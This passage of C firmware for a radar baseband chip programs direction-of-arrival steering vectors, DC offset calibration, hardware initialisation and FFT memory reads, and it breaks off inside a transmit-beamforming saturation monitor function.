BB_WRITE_REG(bb_hw, DOA_GRP2_NUM_SCH, cfg->doa_max_obj_per_bin[2]-1);
}
}
//below for configuring rx idx and steering vector related registers
uint32_t old = baseband_switch_mem_access(bb_hw, SYS_MEM_ACT_COE);
uint32_t bfm_vec_base_offset = 0;
double bfm_az_begin, bfm_az_end, delta;
double bfm_ev_begin, bfm_ev_end, delta2;
bfm_vec_base_offset = DEBPM_COE + CFAR_MIMO_COMB_COE;
uint8_t doa_comb_num[MAX_BFM_GROUP_NUM] = {0, 0, 0};
uint32_t doa_grp_addr_coe[MAX_BFM_GROUP_NUM] = {0, 0, 0};
uint32_t doa_grp_rx_idx[8] = {0, 0, 0, 0, 0, 0, 0, 0}; //4 rx ant idxs stored in an IDX
uint32_t doa_grp_base_adr = BB_REG_DOA_GRP0_ADR_COE;
uint32_t doa_grp_adr = 0;
uint8_t combined_2d_comb_num[4] = {1, 1, 1, 1}; //for REG_SIZ_CMB is in [0,31]
uint8_t comb_size_v = 0;
uint32_t combined_2d_grp_rx_idx[8] = {0}, *p, c2d_addr_coe[3] = {0};
uint8_t combined_2d_ele_rx_idx[4] = {0}; //for generation of steering vector in elevated direction
doa_grp_addr_coe[0] = (bb_hw->frame_type_id == 0 ? bfm_vec_base_offset: sv_bk[bb_hw->frame_type_id]);
if ( cfg->doa_mode == 1) {
gen_siginfo_c2d(bb_hw, combined_2d_comb_num, &comb_size_v, combined_2d_grp_rx_idx, combined_2d_ele_rx_idx);
//update doa_comb_num
doa_comb_num[0] = combined_2d_comb_num[0];
doa_comb_num[1] = comb_size_v;
doa_comb_num[2] = 0;
}
for (int g = 0; g < cfg_grp_num; g++) {
if (cfg->doa_mode != 1) {
/* antenna number for current group */
doa_comb_num[g] = mux_map_antidx(cfg->doa_fft_mux[g], doa_grp_rx_idx);
}
if (g >= 1)
doa_grp_addr_coe[g] = doa_grp_addr_coe[g-1] + cfg->doa_npoint[g-1] * ((doa_comb_num[g-1]+3)/BB_ADDRESS_UNIT) * BB_ADDRESS_UNIT;
doa_grp_adr = doa_grp_base_adr + g * GRP_ADDRESS_OFFSET;
/* write REG COE*/
baseband_write_reg(bb_hw, doa_grp_adr, doa_grp_addr_coe[g]/BB_ADDRESS_UNIT);
doa_grp_adr = doa_grp_adr + 0x8;
/* write REG SIZ_RNG_PKS_CRS*/
uint32_t step = baseband_read_reg(bb_hw, doa_grp_adr + 0x4);
baseband_write_reg(bb_hw, doa_grp_adr, cfg->doa_npoint[g]/(step + 1) - 1);
doa_grp_adr = doa_grp_adr + 0xC;
/* write REG CMB*/
baseband_write_reg(bb_hw, doa_grp_adr, doa_comb_num[g] - 1); //
doa_grp_adr = doa_grp_adr + 0x4;
/* write REG DATA_IDX*/
if ( cfg->doa_mode == 1 && g == 0)
p = combined_2d_grp_rx_idx;
else
p = doa_grp_rx_idx;
for (int i = 0; i < 8; i++) {
baseband_write_reg(bb_hw, doa_grp_adr, p[i]);
doa_grp_adr = doa_grp_adr + 0x4;
}
}
// below configure C2D totol 6 registers
c2d_addr_coe[0] = doa_grp_addr_coe[cfg_grp_num - 1] + cfg->doa_npoint[cfg_grp_num - 1] * ((doa_comb_num[cfg_grp_num - 1]+3)/BB_ADDRESS_UNIT) * BB_ADDRESS_UNIT;
c2d_addr_coe[1] = c2d_addr_coe[0] + cfg->doa_npoint[0] * ((combined_2d_comb_num[1]+3)/BB_ADDRESS_UNIT) * BB_ADDRESS_UNIT;
c2d_addr_coe[2] = c2d_addr_coe[1] + cfg->doa_npoint[0] * ((combined_2d_comb_num[2]+3)/BB_ADDRESS_UNIT) * BB_ADDRESS_UNIT;
BB_WRITE_REG(bb_hw, DOA_C2D1_ADR_COE, c2d_addr_coe[0]/BB_ADDRESS_UNIT);
BB_WRITE_REG(bb_hw, DOA_C2D2_ADR_COE, c2d_addr_coe[1]/BB_ADDRESS_UNIT);
BB_WRITE_REG(bb_hw, DOA_C2D3_ADR_COE, c2d_addr_coe[2]/BB_ADDRESS_UNIT);
BB_WRITE_REG(bb_hw, DOA_C2D1_SIZ_CMB, combined_2d_comb_num[1] - 1);
BB_WRITE_REG(bb_hw, DOA_C2D2_SIZ_CMB, combined_2d_comb_num[2] - 1);
BB_WRITE_REG(bb_hw, DOA_C2D3_SIZ_CMB, combined_2d_comb_num[3] - 1);
if (cfg->doa_samp_space == 't') {
bfm_az_begin = cfg->bfm_az_left * DEG2RAD;
bfm_az_end = cfg->bfm_az_right * DEG2RAD;
bfm_ev_begin = cfg->bfm_ev_down * DEG2RAD;
bfm_ev_end = cfg->bfm_ev_up * DEG2RAD;
} else {
bfm_az_begin = sin(cfg->bfm_az_left * DEG2RAD);
bfm_az_end = sin(cfg->bfm_az_right * DEG2RAD);
bfm_ev_begin = sin(cfg->bfm_ev_down * DEG2RAD);
bfm_ev_end = sin(cfg->bfm_ev_up * DEG2RAD);
}
delta = (bfm_az_end - bfm_az_begin) / cfg->doa_npoint[0];
delta2 = (bfm_ev_end - bfm_ev_begin) / cfg->doa_npoint[1];
float win[MAX_ANT_ARRAY_SIZE];
uint32_t w = 0;
complex_t tmp_vec[MAX_ANT_ARRAY_SIZE];
double pm1,pm2;
uint8_t ant_idx[MAX_ANT_ARRAY_SIZE]={0}; /*virtualized by TDM va=4 tx_group=[1 16 256 4096], the related physical rx ant idx*/
uint8_t sv_size = 0;
uint32_t d = 0;
bool phase_comp_in_sv = true; /*the flag for if needed to compensate antcalib phase in steering vector*/
for (int g = 0; g < cfg_grp_num; g++) {
if (cfg->sv_read_from_flash == false) {
gen_window(cfg->doa_win, doa_comb_num[g], cfg->doa_win_params[0], cfg->doa_win_params[1], cfg->doa_win_params[2]);
for (w = 0; w < doa_comb_num[g]; w++)
win[w] = get_win_coeff_float(w);
sv_size = gen_ant_idx(cfg->doa_fft_mux[g], tx_order, ant_idx);
if ((cfg->doa_mode == 1) && (g==1)) {
phase_comp_in_sv = false;
for (int ele_rx=0; ele_rx < sv_size; ele_rx++)
ant_idx[ele_rx] = combined_2d_ele_rx_idx[ele_rx];
}
arrange_doa_win(ant_pos, ant_idx, sv_size, win, g);
for (d = 0; d < cfg->doa_npoint[g]; d++) {
gen_angle(g, d, delta, delta2, bfm_az_begin, bfm_ev_begin, &pm1, &pm2);
gen_steering_vec2(tmp_vec, win, ant_pos, ant_comp_phase, sv_size,
pm1, pm2, cfg->doa_samp_space, cfg->bpm_mode, phase_comp_in_sv, ant_idx);
write_steering_vec(bb_hw, doa_comb_num[g], doa_grp_addr_coe[g], d, tmp_vec);
} //end d
} else {
uint32_t addr = SV_IN_FLASH_MAP_BASE;
if (g==1) {
for (int cc = 0; cc < comb_size_v; cc++)
addr = addr + ((combined_2d_comb_num[cc]+3)/4) * 4 * cfg->doa_npoint[0] * BYTES_PER_WORD;
}
read_steering_vec_from_flash(bb_hw, addr, doa_comb_num[g], cfg->doa_npoint[g], doa_grp_addr_coe[g]);
}
}//end g
sv_bk[bb_hw->frame_type_id+1] = doa_grp_addr_coe[cfg_grp_num-1] + cfg->doa_npoint[cfg_grp_num-1] * ((doa_comb_num[cfg_grp_num-1] + 3) / 4) * 4;
if (cfg->doa_mode == 1) {
uint32_t addr = SV_IN_FLASH_MAP_BASE;
for (int g = 1; g < comb_size_v; g++) { //g = 0 is group 0 and it has been configured
int ch_num = combined_2d_comb_num[g];
int sv_num = cfg->doa_npoint[0];
if (cfg->sv_read_from_flash == false) {
gen_window(cfg->doa_win, ch_num, cfg->doa_win_params[0], cfg->doa_win_params[1], cfg->doa_win_params[2]);
for (w = 0; w < ch_num; w++)
win[w] = get_win_coeff_float(w);
sv_size = gen_ant_idx(cfg->combined_doa_fft_mux[g], tx_order, ant_idx);
arrange_doa_win(ant_pos, ant_idx, sv_size, win, g);
for (d = 0; d < sv_num; d++) {
gen_angle(0, d, delta, delta2, bfm_az_begin, bfm_ev_begin, &pm1, &pm2);
gen_steering_vec2(tmp_vec, win, ant_pos, ant_comp_phase, sv_size,
pm1, pm2, cfg->doa_samp_space, cfg->bpm_mode, true, ant_idx);
write_steering_vec(bb_hw, ch_num, c2d_addr_coe[g-1], d, tmp_vec);
}
} else {
addr = addr + ((combined_2d_comb_num[g-1]+3)/4) * 4 * cfg->doa_npoint[0] * BYTES_PER_WORD;
read_steering_vec_from_flash(bb_hw, addr, ch_num, sv_num, c2d_addr_coe[g-1]);
}
}
int end_idx = comb_size_v - 1;
sv_bk[bb_hw->frame_type_id+1] = c2d_addr_coe[end_idx-1] + cfg->doa_npoint[0] * ((combined_2d_comb_num[end_idx] + 3) / 4) * 4;
}
baseband_switch_mem_access(bb_hw, old);
}
/* FIXME, baseband_amb_init is not ready */
static void baseband_amb_init(baseband_hw_t *bb_hw)
{
sensor_config_t* cfg = (sensor_config_t*)CONTAINER_OF(bb_hw, baseband_t, bb_hw)->cfg;
if (!cfg->de_vel_amb)
return;
uint32_t old = baseband_switch_mem_access(bb_hw, SYS_MEM_ACT_MAC);
unsigned ridx = 0;
unsigned offset = 0;
unsigned val = 0;
/* need initial memory */
/* char vel_ambiguity[] = {}; */
for(int r = 0; r < (cfg->rng_nfft)/2; r++) {
for(int v = 0; v < (cfg->vel_nfft); v = v + SYS_DATA_COM_WD/FFT_DATA_AMB_WD) {
val = 0;
for(int i = 0; i <SYS_DATA_COM_WD/FFT_DATA_AMB_WD; i++) {
if (i == 0){
/* need initial memory */
/* val = vel_ambiguity[ridx]; */
}
else {
val <<= FFT_DATA_AMB_WD;
/* need initial memory */
/* val |= vel_ambiguity[ridx]; */
}
ridx++;
}
baseband_write_mem_table(bb_hw, offset++, val);
}
}
baseband_switch_mem_access(bb_hw, old);
}
/* FIXME if demode matrix isn't standard hardmard */
static void baseband_debpm_init(baseband_hw_t *bb_hw)
{
sensor_config_t* cfg = (sensor_config_t*)CONTAINER_OF(bb_hw, baseband_t, bb_hw)->cfg;
BB_WRITE_REG(bb_hw, DOA_DBPM_ENA, cfg->bpm_mode);
complex_t tmp_matrix[MAX_ANT_ARRAY_SIZE_SC];
uint32_t offset = CFAR_MIMO_COMB_COE ; //space for mimo combine coe
BB_WRITE_REG(bb_hw, DOA_DBPM_ADR, offset / BB_ADDRESS_UNIT); //bb read as 4 words,cpu write as word
if (!cfg->bpm_mode)
return;
uint32_t old = baseband_switch_mem_access(bb_hw, SYS_MEM_ACT_COE);
int size_bpm = cfg->nvarray;
if (size_bpm==2) {
tmp_matrix[0].r = 1;
tmp_matrix[0].i = 0;
tmp_matrix[1] = tmp_matrix[0];
tmp_matrix[2].r = 0;
tmp_matrix[2].i = 0;
tmp_matrix[3] = tmp_matrix[2];
tmp_matrix[4].r = 1;
tmp_matrix[4].i = 0;
tmp_matrix[5].r = -1;
tmp_matrix[5].i = 0;
tmp_matrix[6] = tmp_matrix[2];
tmp_matrix[7] = tmp_matrix[2];
} else if (size_bpm==4) {
tmp_matrix[0].r = 1;
tmp_matrix[0].i = 0;
tmp_matrix[1] = tmp_matrix[0];
tmp_matrix[2] = tmp_matrix[1];
tmp_matrix[3] = tmp_matrix[2];
tmp_matrix[4] = tmp_matrix[0];
tmp_matrix[6] = tmp_matrix[4];
tmp_matrix[8] = tmp_matrix[0];
tmp_matrix[9] = tmp_matrix[0];
tmp_matrix[12] = tmp_matrix[0];
tmp_matrix[15] = tmp_matrix[0];
tmp_matrix[5].r = -1;
tmp_matrix[5].i = 0;
tmp_matrix[7] = tmp_matrix[5];
tmp_matrix[10] = tmp_matrix[5];
tmp_matrix[11] = tmp_matrix[5];
tmp_matrix[13] = tmp_matrix[5];
tmp_matrix[14] = tmp_matrix[5];
}
for(int v = 0; v < size_bpm; v++) {
for(int ch = 0; ch < MAX_NUM_RX; ch++)
baseband_write_mem_table(bb_hw, offset++, complex_to_cfx(&tmp_matrix[v*MAX_NUM_RX+ch], 14, 1, true));
}
baseband_switch_mem_access(bb_hw, old);
}
static void baseband_dc_calib_calc(baseband_hw_t *bb_hw, int16_t dc_offset[ANT_NUM], bool radio_cfg_ena, bool print_ena) /* leakage enalbe */
{
sensor_config_t* cfg = (sensor_config_t*)CONTAINER_OF(bb_hw, baseband_t, bb_hw)->cfg;
fmcw_radio_t* radio = &CONTAINER_OF(bb_hw, baseband_t, bb_hw)->radio;
uint32_t offset_vbar = 0;
int32_t adc_data_sum = 0;
/* open radio lo and rx, no tx */
#if INTER_FRAME_POWER_SAVE == 1
fmcw_radio_adc_fmcwmmd_ldo_on(radio, true);
fmcw_radio_lo_on(radio, true);
fmcw_radio_rx_on(radio, true);
#endif
/* clear old dc value */
for (uint8_t ch_index = 0; ch_index < ANT_NUM; ch_index++)
fmcw_radio_dc_reg_cfg(radio, ch_index, 0, print_ena); /* initial config, dc_offset = 0 */
/* save old config */
uint32_t old_sam_sinker = BB_READ_REG(bb_hw, SAM_SINKER); /* fft direct or adc buffer */
uint32_t old_sam_force = BB_READ_REG(bb_hw, SAM_FORCE);
uint32_t old_size_vel_fft = BB_READ_REG(bb_hw, SYS_SIZE_VEL_FFT);
uint32_t old_size_vel_buf = BB_READ_REG(bb_hw, SYS_SIZE_VEL_BUF);
/* set new config */
BB_WRITE_REG(bb_hw, SYS_SIZE_VEL_FFT, 0); /* only one chirp */
BB_WRITE_REG(bb_hw, SYS_SIZE_VEL_BUF, 0); /* only one chirp */
BB_WRITE_REG(bb_hw, SAM_FORCE , 1); /* force start */
BB_WRITE_REG(bb_hw, SAM_SINKER , SAM_SINKER_BUF); /* adc buffer */
/* start baseband */
uint16_t bb_status_en = SYS_ENA(SAM, true);
baseband_hw_start_with_params(bb_hw, bb_status_en, BB_IRQ_ENABLE_SAM_DONE); /* IRQ SAM_DONE, for power saving handler*/
/* wait done */
while (baseband_hw_is_running(bb_hw) == false)
;
while (baseband_hw_is_running(bb_hw) == true)
;
/* restore old config */
BB_WRITE_REG(bb_hw, SAM_SINKER , old_sam_sinker); /* fft direct or adc buffer */
BB_WRITE_REG(bb_hw, SAM_FORCE , old_sam_force);
BB_WRITE_REG(bb_hw, SYS_SIZE_VEL_FFT, old_size_vel_fft);
BB_WRITE_REG(bb_hw, SYS_SIZE_VEL_BUF, old_size_vel_buf);
/* VBAR */
uint32_t offset_vbar_cfg = cfg->rng_nfft / 2; /* memory data are 32 bits, but adc data are 16 bits, so divided-2 */
uint16_t adc_buf_num = BB_READ_REG(bb_hw, SYS_SIZE_RNG_BUF) + 1;
int fft_size = BB_READ_REG(bb_hw, SYS_SIZE_RNG_FFT) + 1;
/* When buf size is greater than fft size, zero is padded, so a smaller value is used for DC */
adc_buf_num = adc_buf_num < fft_size ? adc_buf_num : fft_size;
if(print_ena == true)
EMBARC_PRINTF("offset_vbar_cfg = %d, adc_buf_num = %d\n", offset_vbar_cfg, adc_buf_num);
baseband_switch_mem_access(bb_hw, SYS_MEM_ACT_BUF);
for (uint8_t ch_index = 0; ch_index < ANT_NUM; ch_index++){
for (int32_t i = 0; i < adc_buf_num / 2; i++) {
int32_t mem_data = baseband_read_mem_table(bb_hw, offset_vbar + i);
int16_t mem_data_high = (int16_t)(REG_H16(mem_data)); /* mask the high 16 bits*/
int16_t mem_data_low = (int16_t)(REG_L16(mem_data)); /* mask the low 16 bits*/
adc_data_sum = adc_data_sum + mem_data_high + mem_data_low;
}
dc_offset[ch_index] = adc_data_sum / adc_buf_num;
offset_vbar = offset_vbar + offset_vbar_cfg;
adc_data_sum = 0;
if (radio_cfg_ena == true)
fmcw_radio_dc_reg_cfg(radio, ch_index, dc_offset[ch_index], print_ena);
}
}
void baseband_interference_mode_set(baseband_hw_t *bb_hw)
{
sensor_config_t* cfg = (sensor_config_t*)CONTAINER_OF(bb_hw, baseband_t, bb_hw)->cfg;
uint8_t val_mod = 0;
uint8_t val_set = 0;
if(cfg->freq_hopping_on & 0x2){
val_mod |= 0x1;
val_set |= 0x1;
}
if(cfg->chirp_shifting_on & 0x2){
val_mod |= (0x1<<1);
val_set |= (0x1<<1);
}
if(cfg->phase_scramble_on & 0x2){
val_mod |= (0x1<<2);
val_set |= (0x1<<2);
}
BB_WRITE_REG(bb_hw, FFT_DINT_MOD, val_mod);
BB_WRITE_REG(bb_hw, FFT_DINT_SET, val_set);
}
static void baseband_dc_calib(baseband_hw_t *bb_hw, bool leakage_ena, bool dc_calib_print_ena) /* leakage enable */
{
fmcw_radio_t* radio = &CONTAINER_OF(bb_hw, baseband_t, bb_hw)->radio;
uint8_t fdb_bnk_act = baseband_read_reg(NULL, BB_REG_FDB_SYS_BNK_ACT);
if (dc_calib_print_ena) {
EMBARC_PRINTF("fdb_bnk_act = %d \n", fdb_bnk_act);
EMBARC_PRINTF("bb_hw->frame_type_id = %d \n", bb_hw->frame_type_id); // Check bb_hw frame type
EMBARC_PRINTF("radio->frame_type_id = %d \n", radio->frame_type_id); // Check radio frame type
}
/* dc calib starts */
int ch_index = 0;
float dc_power_tx_on[MAX_NUM_RX];
float dc_power_tx_off[MAX_NUM_RX];
int16_t dc_offset_tx_off[ANT_NUM]={};
int16_t dc_offset_tx_on[ANT_NUM]={};
/* save old config */
baseband_dc_calib_status_save(bb_hw); /* save radio configurations */
/* set new config */
BB_WRITE_REG(bb_hw, SAM_DINT_ENA, 0); /* Disable Rx phase de-scramble during DC calibration */
fmcw_radio_agc_enable(radio, false); /* disable agc mode */
// TXs enable bits are cleared before, so dc_offset_tx_off does not contain RF leakage
baseband_dc_calib_calc(bb_hw, dc_offset_tx_off, true, dc_calib_print_ena); /* leakage enalbe */
/* restore old config */
baseband_dc_calib_status_restore(bb_hw);
/******************** caculate the leakage *********************/
if (leakage_ena == true) {
// TXs enable bits are restored, so dc_offset_tx_on contains RF leakage
baseband_dc_calib_calc(bb_hw, dc_offset_tx_on, false, dc_calib_print_ena); /* leakage enalbe */
for (ch_index = 0; ch_index < ANT_NUM; ch_index++) {
dc_power_tx_off[ch_index] = log10(dc_offset_tx_off[ch_index] * dc_offset_tx_off[ch_index]);
dc_power_tx_on[ch_index] = log10(dc_offset_tx_on[ch_index] * dc_offset_tx_on[ch_index]);
}
}
/******************** the final dc result *********************/
if (dc_calib_print_ena == true) {
if (leakage_ena == true) {
EMBARC_PRINTF("DC leakage CH0-%.3f CH1-%.3f CH2-%.3f CH3-%.3f\n\r",
dc_power_tx_on[0] - dc_power_tx_off[0],
dc_power_tx_on[1] - dc_power_tx_off[1],
dc_power_tx_on[2] - dc_power_tx_off[2],
dc_power_tx_on[3] - dc_power_tx_off[3]);
}
else {
EMBARC_PRINTF("DC offset CH0:0x%x CH1:0x%x CH2:0x%x CH3:0x%x \n\r",
dc_offset_tx_off[0], dc_offset_tx_off[1], dc_offset_tx_off[2], dc_offset_tx_off[3]);
EMBARC_PRINTF("DC offset CH0:%d CH1:%d CH2:%d CH3:%d \n\r",
dc_offset_tx_off[0], dc_offset_tx_off[1], dc_offset_tx_off[2], dc_offset_tx_off[3]);
}
}
}
void baseband_dc_calib_init(baseband_hw_t *bb_hw, bool leakage_ena, bool dc_calib_print_ena) /* leakage enable */
{
/* Multi-frame type DC calibration (dc_offset is influenced by ADC sampling freq)*/
if (NUM_FRAME_TYPE > 1) { /* choose banked dc_offset registers for different frame types, default using common registers */
uint8_t old_bank = fmcw_radio_switch_bank(NULL, 3);
RADIO_MOD_BANK_REG(3, FMCW_BYP_FIL_EN, BYP_FIL_ADC_FLT_DC_EN, 0x0);
fmcw_radio_switch_bank(NULL, old_bank);
}
for (int i = 0; i < NUM_FRAME_TYPE; i++) {
baseband_t *bb_tmp = baseband_frame_interleave_cfg(i);
baseband_hw_t *bb_hw_tmp = &bb_tmp->bb_hw;
baseband_dc_calib(bb_hw_tmp, leakage_ena, dc_calib_print_ena);
}
baseband_hw_reset_after_force(bb_hw);
baseband_interference_mode_set(bb_hw);
}
int32_t baseband_hw_init(baseband_hw_t *bb_hw)
{
sensor_config_t* cfg = (sensor_config_t*)CONTAINER_OF(bb_hw, baseband_t, bb_hw)->cfg;
EMBARC_PRINTF("/*** Baseband HW init... ***/\n\r");
baseband_bnk_set(bb_hw);
baseband_sys_init(bb_hw);
EMBARC_PRINTF("/*** sys params programmed! ***/\n\r");
#if (defined(CHIP_ALPS_B) || defined(CHIP_ALPS_MP))
baseband_agc_init(bb_hw, cfg->agc_mode);
EMBARC_PRINTF("/*** agc params programmed! ***/\n\r");
baseband_amb_init(bb_hw);
EMBARC_PRINTF("/*** amb params programmed! ***/\n\r");
baseband_debpm_init(bb_hw);
EMBARC_PRINTF("/*** debpm params programmed! ***/\n\r");
baseband_spk_init(bb_hw);
EMBARC_PRINTF("/*** spk_rmv params programmed! ***/\n\r");
#endif
#if ACC_BB_BOOTUP == 1
/* baseband pre acceleration stage */
pre_acc_flag = true;
EMBARC_PRINTF(" if (acc_phase == 1) {\n\r");
baseband_sam_init(bb_hw);
EMBARC_PRINTF(" EMBARC_PRINTF(\"/*** sam params programmed! ***/\\n\\r\");\n\r");
baseband_fft_init(bb_hw);
EMBARC_PRINTF(" EMBARC_PRINTF(\"/*** fft params programmed! ***/\\n\\r\");\n\r");
EMBARC_PRINTF(" }\n\r");
pre_acc_flag = false;
#elif ACC_BB_BOOTUP == 2
/* baseband acceleration stage */
uint32_t acc_phase = 1;
#include "baseband_bb_bootup.h"
#else
/* baseband normal stage */
baseband_sam_init(bb_hw);
EMBARC_PRINTF("/*** sam params programmed! ***/\n\r");
baseband_fft_init(bb_hw);
EMBARC_PRINTF("/*** fft params programmed! ***/\n\r");
#endif
baseband_interference_init(bb_hw);
EMBARC_PRINTF("/*** inteference params programmed! ***/\n\r");
baseband_velamb_cd_init(bb_hw);
EMBARC_PRINTF("/*** velamb params programmed! ***/\n\r");
#if ACC_BB_BOOTUP == 1
/* baseband pre acceleration stage */
pre_acc_flag = true;
EMBARC_PRINTF(" if (acc_phase == 2) {\n\r");
baseband_cfar_init(bb_hw);
EMBARC_PRINTF(" EMBARC_PRINTF(\"/*** cfar params programmed! ***/\\n\\r\");\n\r");
baseband_doa_init(bb_hw);
EMBARC_PRINTF(" EMBARC_PRINTF(\"/*** doa params programmed! ***/\\n\\r\");\n\r");
EMBARC_PRINTF(" }\n\r");
pre_acc_flag = false;
#elif ACC_BB_BOOTUP == 2
/* baseband acceleration stage */
acc_phase = 2;
#include "baseband_bb_bootup.h"
#else
/* baseband normal stage */
baseband_cfar_init(bb_hw);
EMBARC_PRINTF("/*** cfar params programmed! ***/\n\r");
baseband_doa_init(bb_hw);
EMBARC_PRINTF("/*** doa params programmed! ***/\n\r");
#endif
if ((bb_hw->frame_type_id) == (NUM_FRAME_TYPE - 1)) { /* run one time */
baseband_shadow_bnk_init(bb_hw);
EMBARC_PRINTF("/*** shadow bank programmed! ***/\n\r");
#ifndef CHIP_CASCADE
baseband_dc_calib_init(bb_hw, false, false);
EMBARC_PRINTF("/*** dc calib done! ***/\n\r");
#endif //CHIP_CASCADE
#if INTER_FRAME_POWER_SAVE
baseband_interframe_power_save_init(bb_hw);
EMBARC_PRINTF("/*** interframe powersaving feature is on! ***/\n\r");
#endif //INTER_FRAME_POWER_SAVE
baseband_frame_interleave_cfg(CFG_0); // init config 0 active
}
EMBARC_PRINTF("/*** Baseband HW init done... ***/\n\r");
return E_OK;
}
int32_t baseband_hw_dump_init(baseband_hw_t *bb_hw, bool sys_buf_store)
{
#ifdef CHIP_ALPS_A
sensor_config_t* cfg = (sensor_config_t*)CONTAINER_OF(bb_hw, baseband_t, bb_hw)->cfg;
BB_WRITE_REG(bb_hw, SAM_SIZE, cfg->rng_nfft*cfg->vel_nfft*1*4/2-1);
EMBARC_PRINTF("[%d] [%d] [%d]!\n\r",cfg->rng_nfft,cfg->vel_nfft,BB_READ_REG(bb_hw, SAM_SIZE));
BB_WRITE_REG(bb_hw, DMP_SIZE, cfg->rng_nfft*cfg->vel_nfft*1*4-1);
BB_WRITE_REG(bb_hw, SYS_BUF_STORE, sys_buf_store);
#elif (CHIP_ALPS_B || CHIP_ALPS_MP)
BB_WRITE_REG(bb_hw, SAM_SINKER, sys_buf_store); /* fft direct or adc buffer */
#endif
return E_OK;
}
void baseband_hw_start(baseband_hw_t *bb_hw)
{
#ifdef CHIP_ALPS_A
BB_WRITE_REG(bb_hw, SYS_ENABLE, 0x1e);
BB_WRITE_REG(bb_hw, SYS_IRQ_ENA, 0x1);
#elif (CHIP_ALPS_B || CHIP_ALPS_MP)
/* align bank of frame type */
uint8_t bnk_act = BB_READ_REG(bb_hw, FDB_SYS_BNK_ACT); /* read back the bank selected in RTl */
BB_WRITE_REG(bb_hw, SYS_BNK_ACT, bnk_act); /* match the bank accessed by CPU */
/* start baseband */
BB_WRITE_REG(bb_hw, SYS_IRQ_ENA, 0x7);
#endif
BB_WRITE_REG(bb_hw, SYS_MEM_ACT, SYS_MEM_ACT_RLT);
BB_WRITE_REG(bb_hw, SYS_START, 0x1); /* write 1 to start working, no need to write 0 for self cleared in ALPS_B*/
}
void baseband_hw_start_with_params(baseband_hw_t *bb_hw, uint16_t sys_enable, uint8_t sys_irp_en)
{
/* align bank of frame type */
uint8_t bnk_act = BB_READ_REG(bb_hw, FDB_SYS_BNK_ACT); /* read back the bank selected in RTl */
BB_WRITE_REG(bb_hw, SYS_BNK_ACT, bnk_act); /* match the bank accessed by CPU */
/* start baseband */
BB_WRITE_REG(bb_hw, SYS_ENABLE, sys_enable);
BB_WRITE_REG(bb_hw, SYS_IRQ_ENA, sys_irp_en);
BB_WRITE_REG(bb_hw, SYS_START, 0x1);
}
void baseband_hw_running_done(baseband_hw_t *bb_hw, uint16_t sys_enable, uint8_t sys_irq_en)
{
baseband_hw_start_with_params(bb_hw, sys_enable, sys_irq_en);
while (baseband_hw_is_running(bb_hw) == false)
;
while (baseband_hw_is_running(bb_hw) == true) /* wait done */
;
}
void baseband_hw_stop(baseband_hw_t *bb_hw)
{
BB_WRITE_REG(bb_hw, SYS_START, 0x0);
BB_WRITE_REG(bb_hw, SYS_IRQ_ENA, 0x0);
}
void baseband_hw_ctrl(baseband_hw_t *bb_hw, uint32_t cmd)
{
switch (cmd) {
case BB_CTRL_CMD_ENABLE:
BB_WRITE_REG(bb_hw, SYS_ENABLE, 0x1e);
break;
default:
break;
}
}
void baseband_workaroud(baseband_hw_t *bb_hw)
{
sensor_config_t* cfg = (sensor_config_t*)CONTAINER_OF(bb_hw, baseband_t, bb_hw)->cfg;
/* An hw bug (Bug847) in DML-Engine leaving SISO-combiner unreset after doing a DoA Estimation */
if (cfg->doa_method == 2) {
bb_core_reset(1);
bb_core_reset(0);
}
}
bool baseband_hw_is_running(baseband_hw_t *bb_hw)
{
if (BB_READ_REG(bb_hw, SYS_STATUS) == 0)
return false;
else
return true;
}
/* read fft result in memory, all the input index should be based on 0 */
uint32_t baseband_hw_get_fft_mem(baseband_hw_t *bb_hw, int ant_index, int rng_index, int vel_index, int bpm_index)
{
sensor_config_t* cfg = (sensor_config_t*)CONTAINER_OF(bb_hw, baseband_t, bb_hw)->cfg;
uint32_t addr_sel;
/* TVAR, [virTual][Velocity][Antenna][Range] */
addr_sel = bpm_index * (cfg->vel_nfft) * MAX_NUM_RX * (cfg->rng_nfft / 2)
+ vel_index * MAX_NUM_RX * (cfg->rng_nfft / 2)
+ ant_index * (cfg->rng_nfft / 2)
+ rng_index;
return baseband_read_mem_table(bb_hw, addr_sel);
}
static uint32_t baseband_hw_get_fft_mem_abist(int ch_index, int rng_index, uint32_t fft_size)
{
uint32_t addr_sel;
/* TVAR, [virTual][Velocity][Antenna][Range] */
/* chirp 0 and no virtual array*/
addr_sel = ch_index * (fft_size / 2) + rng_index;
return baseband_read_mem_table(NULL, addr_sel);
}
/* read sample data of the last 2 chirps in a frame in memory(sample buffer) */
/* vel_index should be 0 or 1, as only 2 chirps stored in sample buffer */
uint32_t baseband_hw_get_sam_buf(baseband_hw_t *bb_hw, int vel_idx, int rng_idx, int ant_idx)
{
/* RA, [Velocity][Range][Antenna] */
uint32_t addr_sel = vel_idx * (MAX_FFT_RNG/2) * MAX_NUM_RX // adc data is 16 bits, 2 adc data in one memory entry(32 bits)
+ rng_idx * MAX_NUM_RX
+ ant_idx;
return baseband_read_mem_table(bb_hw, addr_sel);
}
void Txbf_bb_satur_monitor(baseband_hw_t *bb_hw, unsigned int tx_mux)
{
sensor_config_t* cfg = (sensor_config_t*)CONTAINER_OF(bb_hw, baseband_t, bb_hw)->cfg;
fmcw_radio_t* radio = &CONTAINER_OF(bb_hw, baseband_t, bb_hw)->radio;
uint32_t candi_phase[8] = {0, 45, 90, 135, 180, 225, 270, 315}; //Fix me 8 is the total tx phase number
uint16_t bb_status_en = 0;
unsigned long sat_cnt[8]={0}; /*the saturation counts of all stages(TIA/VGA1/VGA2) of all Rx chan under a tx phase*/
uint32_t agc_reg[MAX_NUM_RX+AFE_SATS*MAX_NUM_RX+MAX_NUM_RX+1];
/******************** keep the spot *********************/
baseband_dc_calib_status_save(bb_hw); /* save radio configurations and disable VAM*/
fmcw_radio_txphase_status(radio, true); /* save Tx phase*/
fmcw_radio_tx_ch_on(radio, -1, false); /*turn off original tx*/
BB_WRITE_REG(bb_hw, SAM_DINT_ENA, 0); /* Disable Rx phase de-scramble during Txbf */
/*configure new tx register */
int ch = 0;
int loop = 0;
uint32_t reg_val;
while (ch < MAX_NUM_TX) {
if ((tx_mux>>ch) & 0x1) {
fmcw_radio_tx_ch_on(radio, ch, true);
}
ch++;
}
//enable agc
baseband_agc_init(bb_hw, 2);
for (loop = 0; loop < 8; loop++) {
/*set tx phase*/
EMBARC_PRINTF("tx_phase = %d\n\r", candi_phase[loop]);
sat_cnt[loop] = 0;
for (ch = 0; ch < MAX_NUM_TX; ch++)
{
reg_val = phase_val_2_reg_val(candi_phase[loop]);
fmcw_radio_set_tx_phase(radio, ch, reg_val);
}
MDELAY(1);
//run bb
